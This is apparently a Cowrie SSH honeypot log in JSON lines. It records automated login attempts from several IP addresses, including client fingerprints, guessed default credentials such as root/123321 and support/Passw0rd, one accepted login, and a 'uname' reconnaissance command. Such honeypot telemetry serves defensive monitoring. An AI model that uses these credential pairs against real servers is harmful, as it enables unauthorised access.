{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:09.920343Z","src_ip":"91.92.40.153","session":"4870d71efabf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":43584,"dst_ip":"159.203.135.109","dst_port":22,"session":"418356abb679","protocol":"ssh","message":"New connection: 139.99.74.35:43584 (159.203.135.109:22) [session: 418356abb679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:10.691020Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:12.006183Z","src_ip":"91.92.40.153","session":"4870d71efabf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43840,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cf945123175","protocol":"ssh","message":"New connection: 160.187.174.22:43840 (159.203.135.109:22) [session: 7cf945123175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:12.927166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:12.931696Z","src_ip":"160.187.174.22","session":"7cf945123175","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:13.135985Z","src_ip":"91.92.40.153","session":"4870d71efabf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:13.138940Z","src_ip":"91.92.40.153","session":"4870d71efabf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:13.454242Z","src_ip":"160.187.174.22","session":"7cf945123175","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:14.025879Z","src_ip":"91.92.40.153","session":"4870d71efabf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:14.030428Z","src_ip":"91.92.40.153","session":"4870d71efabf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:14.199118Z","src_ip":"160.187.174.22","session":"7cf945123175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:15.436622Z","src_ip":"160.187.174.22","session":"7cf945123175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:15.475790Z","src_ip":"139.99.74.35","session":"418356abb679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":48458,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee3f7bbe080a","protocol":"ssh","message":"New connection: 91.92.40.153:48458 (10.17.0.5:22) [session: ee3f7bbe080a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:15.655630Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":47100,"dst_ip":"159.203.135.109","dst_port":22,"session":"7073caab5392","protocol":"ssh","message":"New connection: 139.99.74.35:47100 (159.203.135.109:22) [session: 7073caab5392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:15.702469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:15.942072Z","src_ip":"91.92.40.153","session":"ee3f7bbe080a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:15.945079Z","src_ip":"91.92.40.153","session":"ee3f7bbe080a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"abc123","message":"login attempt [admin2/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:17.505457Z","src_ip":"91.92.40.153","session":"ee3f7bbe080a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:19.046963Z","src_ip":"91.92.40.153","session":"ee3f7bbe080a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:20.499091Z","src_ip":"139.99.74.35","session":"7073caab5392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":47106,"dst_ip":"159.203.135.109","dst_port":22,"session":"e89ebadd46da","protocol":"ssh","message":"New connection: 139.99.74.35:47106 (159.203.135.109:22) [session: e89ebadd46da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:20.745413Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":48508,"dst_ip":"10.17.0.5","dst_port":22,"session":"516869efbe7c","protocol":"ssh","message":"New connection: 91.92.40.153:48508 (10.17.0.5:22) [session: 516869efbe7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:21.601375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:21.931320Z","src_ip":"91.92.40.153","session":"516869efbe7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:21.934293Z","src_ip":"91.92.40.153","session":"516869efbe7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"1234","message":"login attempt [oscar/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:24.035632Z","src_ip":"91.92.40.153","session":"516869efbe7c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:25.410240Z","src_ip":"139.99.74.35","session":"e89ebadd46da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:25.413106Z","src_ip":"139.99.74.35","session":"e89ebadd46da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:25.625149Z","src_ip":"91.92.40.153","session":"516869efbe7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":37076,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f400a85bdc1","protocol":"ssh","message":"New connection: 91.92.40.153:37076 (10.17.0.5:22) [session: 6f400a85bdc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:27.211281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:28.235700Z","src_ip":"91.92.40.153","session":"6f400a85bdc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:28.262864Z","src_ip":"91.92.40.153","session":"6f400a85bdc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54956,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8cbf60d81e9","protocol":"ssh","message":"New connection: 103.153.68.219:54956 (159.203.135.109:22) [session: c8cbf60d81e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:28.917085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:28.921184Z","src_ip":"103.153.68.219","session":"c8cbf60d81e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:29.173142Z","src_ip":"103.153.68.219","session":"c8cbf60d81e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"faberlic","message":"login attempt [root/faberlic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:29.924510Z","src_ip":"103.153.68.219","session":"c8cbf60d81e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.44295811653137,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:30.467024Z","src_ip":"183.91.11.226","session":"f1ffc4ab0d77","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:30.863317Z","src_ip":"91.92.40.153","session":"6f400a85bdc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:31.176740Z","src_ip":"103.153.68.219","session":"c8cbf60d81e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:32.500074Z","src_ip":"91.92.40.153","session":"6f400a85bdc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57708,"dst_ip":"10.17.0.5","dst_port":22,"session":"c57e8353489c","protocol":"ssh","message":"New connection: 91.92.40.153:57708 (10.17.0.5:22) [session: c57e8353489c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:33.166384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:33.944051Z","src_ip":"91.92.40.153","session":"c57e8353489c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:33.958757Z","src_ip":"91.92.40.153","session":"c57e8353489c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"Passw0rd","message":"login attempt [support/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:36.727073Z","src_ip":"91.92.40.153","session":"c57e8353489c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:07:38.958901Z","src_ip":"91.92.40.153","session":"c57e8353489c","protocol":"ssh"}
